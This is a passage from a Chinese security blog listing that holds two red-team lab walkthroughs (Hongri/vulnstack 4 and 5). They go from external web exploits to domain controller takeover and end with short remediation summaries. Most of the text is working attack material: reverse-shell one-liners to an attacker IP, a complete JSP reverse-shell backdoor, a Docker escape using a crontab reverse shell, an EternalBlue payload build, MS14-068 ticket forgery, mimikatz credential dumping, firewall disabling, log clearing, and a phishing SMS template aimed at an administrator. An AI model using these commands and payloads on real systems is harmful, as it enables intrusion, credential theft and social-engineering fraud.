SMBUser Administrator msf6 > set SMBPass dc123.com msf6 > set SMBDomAIn sun.com msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp # 内网直连 msf6 > run试了很多方法都不行,最终以失败告终,无法登录到域控服务器/切换本地用户,或者本地提升到Administrator用户。那么就剩下最后的办法了,社工!(诈骗案例分析,请勿用于违法用途,所造成的后果自行承担)最近张伟管理员发了一条微博:”周末加班部署新防火墙,累成狗🐶”,并且利用一定手段获取到了手机号。【xxx科技IT部】紧急:OA系统漏洞需立即处理,请查收邮件并登录修复平台。确认后请回复“已处理”。到了周末,管理员成功登录了系统,启动了phpstudy这个web服务,此时即可上线kali连接我们的后门weevely terminal http://192.168.135.150/shell.php cmd运行我们的木马即可上线成功设置svc-exe提权方式已成功上线系统权限抓取本地密码hash此时就能看到密码信息了查看域内用户shell net user /domAIn使用代理转发功能创建一个监听器生成需要上传到域控主机上的木马从本机上传上去certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe放行4444端口shell netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=4444开始将马上传到目标服务器shell net use \192.168.138.138ipc$ "管理员密码" /user:administrator shell net use shell dir \192.168.138.138c$ # 查看域控主机目录 # 将马上传到域控服务器 shell copy C:phpStudyPHPTutorialWWWpublicwin7beacon.exe \192.168.138.138c$win7beacon.exe创建执行任务,提示了我们拒绝访问sc \192.168.138.138 create shell binpath= "c:win7beacon.exe"那么就用另外一种方式 at ,添加一个计划任务shell at \192.168.138.138 22:10:00 c:win7beacon.exe耐心等待一分钟既可上线,而且还是最高权限,拿下域控主机关闭防火墙shell netsh advfirewall set allprofiles state off修改注册表允许远程连接shell reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f放行3389端口shell netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP查看用户密码修改代理文件,并重启frp服务本机windows打开代理工具可以看到我们已经能够正常访问域控主机了刚进去是登录错误的,我们重新输入账号密码,登录到域sum.com成功拿下域控服务器!最后清理日志即可至此红日5完成总结攻击路径全景外网突破通过 arp-scan + nmap 探测开放80/3306端口利用ThinkPHP 5.0.22 RCE漏洞( /index/thinkapp/invokefunction )上传混淆Webshell(Weevely)实现持久化控制内网渗透发现双网卡结构(NAT+Host-Only)及内网段192.168.138.0/24使用 frp 搭建Socks5代理穿透内网边界通过 proxychains + nmap 扫描域控(192.168.138.138)暴露445端口权限提升MSF生成载荷上线失败后,通过CS的 svc-exe 提权获取SYSTEM权限利用 mimikatz 抓取本地管理员凭证(Administrator:dc123.com)横向移动IPC$共享+计划任务(net use + at)投递Beacon载荷绕过防火墙放行端口(netsh advfirewall)通过RDP(注册表修改fDenyTSConnections)接管域控桌面权限维持域控主机部署多协议后门(MSF+CS双链路)清理日志(clearev)隐藏攻击痕迹关键技术点漏洞利用:ThinkPHP RCE漏洞的EXP构造与混淆Webshell上传隧道搭建:Frp代理穿透双网络隔离环境权限提升:CS的svc-exe提权与Windows服务劫持横向移动:基于SMB的载荷投递与计划任务执行域渗透:Pass-the-Hash攻击与黄金票据伪造(需扩展场景)防御启示外网防护:及时更新框架补丁,禁用危险函数(如 system )权限控制:遵循最小权限原则,限制数据库远程访问网络隔离:严格ACL策略,阻断异常出站流量(如Socks隧道)日志审计:监控计划任务创建、注册表关键项修改等可疑行为域安全:启用LAPS管理本地管理员密码,限制域管登录范围报告编制方:泷羽Sec安全团队日期:2025年2月21日往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【oscp】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录
2025年05月18日
613 阅读
0 评论
0 点赞
2025-05-18
不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学
十年磨一剑!本次靶机呢,也不算存手工注入,就是介绍了不用MSF的打法,文章很长,但是呢能学到的东西很多很多!比如隧道搭建是proxychains+frp,然后Docker逃逸,域控,横向移动,权限提升,写公匙获取交互式shell,永恒之蓝利用等等,网上很多教程都不是最新的,复现起来有点困难,对于windows渗透不太了解的师傅们可以学习学习,感谢阅读前言最近vulnstack官网进不去了,还好之前保存在自己度盘的,需要自取,一共8个,红日1-8全都在,一共500G左右,下载还请预留好一定的空间通过网盘分享的文件:红日靶场 链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: uze8 这是红日官网,进不去了都环境配置打开虚拟机后web设置网卡1为nat模式,网卡2为仅主机模式,密码为ubuntusudo Docker start ec 17 09 bb da 3d ab ad sudo Docker ps第二台系统是windows的,网卡是仅主机模式第三台DC域控仅主机模式网络配置好后,得以登录看看靶机的网络环境ubuntu:ubuntu 10.10.10.131 192.168.183.129 域成员机器win douser:Dotest123 192.168.183.128 DC administrator:Test2008 192.168.183.130网络拓步结构环境配置好后就可以开始渗透了外网打点利用arp-scan进行主机探测对扫描出来的ip进行端口扫描,发现靶机开启了2001、2002、2003端口并且这三个端口都是http服务,也就是说我们能通过网页直接访问到2001端口如下,Struts2服务(可以看网页标题)2002端口如下,这是一个Apache Tomcat服务2003端口,phpmyadmin,一个数据库管理工具Struts2渗透那么一个一个来看吧,利用Struts2漏洞扫描工具执行命令测试利用bash进行反弹Shell,并且shell是root的,但是这是Docker环境/bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1在Docker的渗透过程中呢,如果得到了某一个Docker环境远远是不够的,通常需要得到多个Docker环境的权限,来判断当前Docker环境是否能够进行Docker逃逸,这样才能提高渗透成功的概率,接下来是TomcatTomcat渗透Nikto,它是一个开源的网络安全扫描工具,简称漏扫工具nikto -url http://10.10.10.131:2002/发现能够使用PUT方法进行上传文件,可以手动,但是不建议,我们直接用poc打python 42966.py根据使用方法,得到如下命令,成功获取webshellpython 42966.py -u http://10.10.10.131:2002/ -p pwnphpmyadmin渗透切换到主页,这里能看到phpmyadmin的版本号为4.8.1发现此版本的phpmyadmin存在文件包含和远程命令执行漏洞我们利用第一个exp┌──(root㉿kali)-[/data/exp/demo] └─# cat 44924.txt | grep http http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm成功利用文件包含的pochttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd文件包含phpmyadmin日志文件首先是日志包含,在日志包含之前我们需要先查看mysql的命令执行日志的路径SHOW VARIABLES LIKE 'general_log_file'; /var/lib/mysql/ad7866b3df9b.log写入日志select "<?php @eval($_GET['123']);?>";包含日志文件,报错了,这个包含方法不行,那么就换一个文件包含http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../var/lib/mysql/ad7866b3df9b.log?123=lssession文件创建shell我们创建一个数据表写入一句话 <?php @eval($_GET['123']);?>查看session,为3cfb6084f034677df82ef00120cce4fd包含sessionhttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd执行命令,失败http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd?123=lsshell获取失败Docker逃逸docker信息收集,判断当前环境是否是docker环境,可以看到这个是属于docker环境的ls -alh /.dockerenv cat /proc/1/cgroup特权逃逸如果管理员启动某一个容器的时候呢,利用了docker run -privileged时,docker容器将被允许访问主机上的所有设备,并且可以执行mount命令进行挂载mkdir /tmp/forest mount /dev/sda1 /tmp/forest这里struts2服务逃逸失败了,之前我们不是得到了Tomcat的shell嘛,我们利用这个试试(这俩个是不同的docker环境),这里就能挂载成功了mkdir /tmp/forest mount /dev/sda1 /tmp/forest ls /tmp/forest成功挂载了,那么我们就要获取稳定shell,这个shell不稳定,经过测试python等一系列反弹都不行,那么就切换思路,利用kali自带的反弹Shell的jsp脚本// backdoor.jsp // http://www.security.org.sg/code/jspreverse.html <%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %> <%! static class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector(InputStream is, OutputStream os) { this.is = is; this.os = os; } public void run() { BufferedReader isr = null; BufferedWriter osw = null; try { isr = new BufferedReader(new InputStreamReader(is)); osw = new BufferedWriter(new OutputStreamWriter(os)); char buffer[] = new char[8192]; int lenRead; while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0) { osw.write(buffer, 0, lenRead); osw.flush(); } } catch (Exception ioe) {} try { if(isr != null) isr.close(); if(osw != null) osw.close(); } catch (Exception ioe) {} } } %> <h1>JSP Backdoor Reverse Shell</h1> <form method="post"> IP Address <input type="text" name="ipaddress" size=30> Port <input type="text" name="port" size=10> <input type="submit" name="Connect" value="Connect"> </form> <p> <hr> <% String ipAddress = request.getParameter("ipaddress"); String ipPort = request.getParameter("port"); if(ipAddress != null && ipPort != null) { Socket sock = null; try { sock = new Socket(ipAddress, (new Integer(ipPort)).intValue()); Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("/bin/bash"); StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream()); StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream()); outputConnector.start(); inputConnector.start(); } catch(Exception e) {} } %> <!-- http://michaeldaw.org 2006 -->在主页随便点一点找到网页上的这个文件find / -name security-howto.html然后将这个webshell下载下来,复制到这个目录下面wget 10.10.10.130:5000/jsp-reverse.jsp cp jsp-reverse.jsp /usr/local/tomcat/webapps/docs/输入ip和端口就可以反弹啦但是呐,创建不了交互式终端呢,有点难受奥,即使创建了,也是docker环境呢python2 -c 'import pty;pty.spawn("/bin/bash")'那么就使用上传公匙的方法免密登录ssh-keygen -t rsa -b 4096 # 回车 # 回车 # 回车靶机依次执行如下命令wget 10.10.10.130:5000/rain.pub chmod 700 /tmp/forest/home/ubuntu/.ssh/ cp rain.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys chmod 600 /tmp/forest/home/ubuntu/.ssh/authorized_keyskali尝试连接(失败)经过测试很多遍了,靶机的/etc/ssh/sshd_config文件也修改了,还是不行ssh ubuntu@10.10.10.131开始排错,这个公匙权限是root,但是呢我们连接的时候使用的是ubuntu用户,而这个.ssh目录也是ubuntu用户的目录,所以连接的时候权限对不上,也会导致使用私匙连接失败但由于我们获取的是docker环境的shell,是没有ubuntu用户的,我们需要添加一个ubuntu用户useradd ubuntu chown ubuntu:ubuntu authorized_keys ls -al total 16 drwx------ 2 ubuntu ubuntu 4096 Feb 15 08:31 . drwxr-xr-x 17 ubuntu ubuntu 4096 Feb 15 08:26 .. -rw------- 1 ubuntu ubuntu 735 Feb 15 08:31 authorized_keys -rw-r----- 1 root root 91 Feb 15 08:05 rain.pub还是需要我们输入密码,权限给了,用户也添加了,卧槽我能怎么办。。。。。。那么大概率就是算法问题了,强制添加选项(卧槽,搞我半天,心态崩了)ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsassh连接问题排错方案给三个参考,目前我打靶所遇到的,可以写在自己的笔记里面ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集我们还没有得到ubuntu的密码,获取不了最高root权限(sudo)不支持本地提权,像常规的suid提权都不行查看计划任务,没有ubuntu这个用户可以写的文件但是还有一种方式哈,我们刚刚获取的逃逸成功的shell,它是不是root?我们用这个root追加一个计划任务,那么真实的靶机就会定时执行这个命令是吧,前面我们密匙都登录成功了,这个问题还不简单嘛echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.sh chmod +x /tmp/forest/tmp/shell.sh cat /tmp/forest/tmp/shell.sh # 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划 echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontab cat /tmp/forest/etc/crontab nc -lvnp 1234等待1分钟即可反弹成功创建交互式终端python3 -c 'import pty;pty.spawn("/bin/bash")'查看网卡内网主机发现root@ubuntu:/tmp# for i in {1..254}; do (ping -c 1 192.168.183.${i} | grep "bytes from" | grep -v "Unreachable" &); done; 64 bytes from 192.168.183.128: icmp_seq=1 ttl=128 time=0.682 ms 64 bytes from 192.168.183.129: icmp_seq=1 ttl=64 time=0.031 ms 64 bytes from 192.168.183.130: icmp_seq=1 ttl=128 time=0.829 ms发现了另外两台靶机,写入端口扫描工具,把扫描出来的另外两个靶机放入这个hosts变量里面#!/bin/bash hosts=( "192.168.183.128" "192.168.183.130" ) END=65535 for host in "${hosts[@]}" do echo "===============================" echo "Scanning $host" echo "===============================" for ((port=1;port<=END;port++)) do echo "" > /dev/tcp/$host/$port && echo "Port $port is open" done 2>/dev/null done扫描结果,第二个机器扫不出来结果,大概率是禁ping或者开了防火墙frp隧道搭建服务端开启frp服务器web靶机连接服务端编辑修改/etc/proxychains4.conf的最后一行数据使用Nmap对刚刚扫描出来的一个端口进行测试,135端口开启,代理成功!!proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135增加端口数量proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135,139,445,5357,49152,49153,49154,49155,49156,49157从上面的服务来看,大概率是一个windows服务器,还开着一个http端口,访问一下看看,报了503服务器内部错误对445端口增加漏洞扫描的Nmap脚本proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 445 --script=vulnms17-010很熟悉吧,是永痕之蓝如果说我们需要从对方的内网反弹Shell反弹到我们的kali上,那么就需要配置端口转发,服务器靶机执行如下命令,我们前面已经获取到了最高权限iptables -t nat -A PREROUTING -p tcp --dport 2222 -j DNAT --to-destination 10.10.10.130:4444这里我就不用端口转发了,没有用成功,感兴趣的可以试试(192.168.183.149是我的win7地址,中途恢复了快照几次),另外下面这个生成了两个payload,因为目前我们还不知道目标是x86还是x64的操作系统,所以生成了两个,然后合并成一个,这样就可以双利用了(注意要多打几次,否则可能利用不成功或者造成蓝屏)git clone https://github.com/worawit/MS17-010.git nasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin MSFvenom -p windows/x64/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform windows -a x64 --format raw -o sc_x64_payload.bin MSFvenom -p windows/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform windows -a x86 --format raw -o sc_x86_payload.bin cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin proxychains python ../eternalblue_exploit7.py 192.168.183.149 sc_all.bin反弹成功chcp 65001解决乱码问题域渗透查看所有网络信息,这里我没有画,稍微注意一下dns的地址,是192.168.183.130ipconfig /all查看域内用户,和本机用户,本机用户已经是最高system权限了,但是呢不在域用户列表中通过ping就可以获取目标IP信息啦,并且呢我们可以发现,这个地址是和dns地址一样的查看administrators组的成员如果没有密码,那就是目标靶机没有登录,需要登录一下,这样这些凭证才能保存到本地mimikatz.exe sekurlsa::logonpasswords记录一下sid为:S-1-5-21-979886063-1111900045-1414766810-1107利用ms14-068进行域内提权,伪造黄金票据,获取域控的操作权限ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123利用mimikatz.exe导入上面生成的票据mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中连接并查看域控,连接成功!通过net use挂载域控共享目录net use WIN-ENS2VR5TR3N dir \WIN-ENS2VR5TR3Nc$web肉鸡(ubuntu)因为只有它出网:wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip unzip netcat-win32-1.12.zip python3 -m http.server将这个文件传上win7,由于cmd没有curl和wget等命令,但是测试了certutil可以使用,那么就用这个从web服务器下载下来,win7:certutil -urlcache -split -f http://192.168.183.129:8000/nc.exe c:nc.exe再将这个nc.exe复制到域控主机上copy C:nc.exe \WIN-ENS2VR5TR3Nc$nc.exe接着新建任务来关闭域控的防火墙sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \WIN-ENS2VR5TR3N start unablefirewallwin7创建nc反弹任务sc \WIN-ENS2VR5TR3N create ncshell binpath= "c:nc.exe 192.168.183.129 1234 -e cmd" sc \WIN-ENS2VR5TR3N start ncshellweb服务器别忘记开nc监听nc -lnvp 1234拿到域控主机,获取主机密码,将win7的mimikatz复制到域控主机上copy mimikatz.exe \WIN-ENS2VR5TR3Nc$mimikatz.exe dir \WIN-ENS2VR5TR3Nc$在反弹成功的shell中执行刚刚复制下来的mimikatzmimikatz.exe sekurlsa::logonpasswords成功拿下域控的密码!!开启远程连接放行TCP端口3389,前面已经关闭了防火墙,这一步可以跳过etsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389修改注册表,设置允许远程登录,需要重启一下,会发现获取不到挂载的域控目录信息了,重新根据上面的步骤再来一遍就行了reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f shutdown /r /t 0打开proxifier开启全局代理,设置socks5连接kali的proxychains端口此时就可以用windows的远程连接了远程连接成功!成功拿下域控主机远程访问权限!至此,渗透结束,当然还可以继续渗透,清理操作日志,也就几条命令的事儿。感兴趣的朋友们可以自行尝试另外也有第二种方法来,域控主机也是存在永恒之蓝漏洞的,然后利用域控主机横向到win7主机proxychains Nmap -sT 192.168.183.130 -p 445 --script=vuln报告总结一、测试目标概述靶场环境:由三台主机组成的域渗透环境(Ubuntu Web服务器、Windows域成员机、Windows域控服务器)网络拓扑: 外网段:10.10.10.0/24 内网段:192.168.183.0/24 核心目标:从外网突破至内网,获取域控(DC)权限。 二、渗透测试流程阶段一:外网打点 主机发现 使用arp-scan探测内网存活主机,定位Web服务器(10.10.10.131)。 端口扫描发现开放服务: 2001端口:Apache Struts2服务 2002端口:Tomcat管理界面 2003端口:phpMyAdmin 漏洞利用 Struts2 S2-045漏洞 使用公开EXP执行命令,获取Docker容器内Root权限,确认容器逃逸需求。# 反弹Shell命令 /bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1 Tomcat PUT方法任意文件上传 利用CVE-2017-12615上传JSP Webshell,获取Tomcat权限。 phpMyAdmin 4.8.1文件包含漏洞 包含日志文件/Session文件尝试GetShell,因环境限制未成功。 阶段二:内网横向移动 权限维持与逃逸 Docker逃逸(特权模式) 挂载宿主机磁盘至容器路径,通过写入SSH公钥或计划任务反弹Shell,获取宿主机Ubuntu权限。mount /dev/sda1 /mnt/host # 挂载宿主机磁盘 echo "恶意任务" >> /mnt/host/etc/crontab # 宿主机定时任务 内网探测 存活主机:192.168.183.128(Win7)、192.168.183.130(DC) 使用proxychains+frp搭建Socks代理,实现内网流量转发。 域成员机渗透(192.168.183.128) MS17-010永恒之蓝漏洞利用 生成混合Payload,通过Metasploit框架获取System权限Shell。 信息收集 域名称:DEMO.com 域用户:douser/Dotest123 域管理员组:Administrator(未直接暴露) 域控提权(192.168.183.130) MS14-068漏洞伪造黄金票据ms14-068.exe -u douser@DEMO.com -s SID -d DC_IP -p 密码 mimikatz.exe kerberos::ptc 票据文件 # 注入内存 横向控制 通过net use挂载域控共享目录,上传NC反弹Shell。 关闭防火墙,创建远程服务执行Payload,获取域控System权限。 三、关键风险点 外网服务漏洞 Struts2、Tomcat、phpMyAdmin等未及时修复公开漏洞。 内网隔离缺失 Docker容器与宿主机未做网络隔离,特权模式启用导致逃逸。 域内安全策略缺陷 未禁用弱协议(SMBv1),MS17-010补丁未安装。 域用户权限过高,允许普通域用户提权至域管理员。 四、修复建议 外网服务加固 升级Struts2、Tomcat至安全版本,禁用PUT方法。 phpMyAdmin限制访问IP,启用双因素认证。 内网隔离与监控 Docker容器使用非特权模式,启用AppArmor/SELinux。 部署IDS/IPS检测异常SMB流量(如永恒之蓝攻击特征)。 域安全策略优化 安装MS17-010补丁,关闭SMBv1协议。 实施最小权限原则,定期审计域用户权限。 启用LAPS(本地管理员密码解决方案),防止密码复用。 五、附录 渗透工具清单 漏洞扫描:Nmap、Nikto 漏洞利用:MSF、MS14-068 EXP、永恒之蓝利用脚本 横向移动:Proxychains、FRP、Mimikatz 攻击路径示意图 报告编制方:泷羽Sec安全团队 日期:2025年2月16日往期推荐ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略【oscp】vulnerable_docker,三种代理方法打入内网【oscp】FALL,wfuzz参数模糊测试【oscp】超长攻击链,TommyBoy1dot0——过年快乐!【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了
2025年05月18日
402 阅读
0 评论
0 点赞
1
...
21
22
23
...
37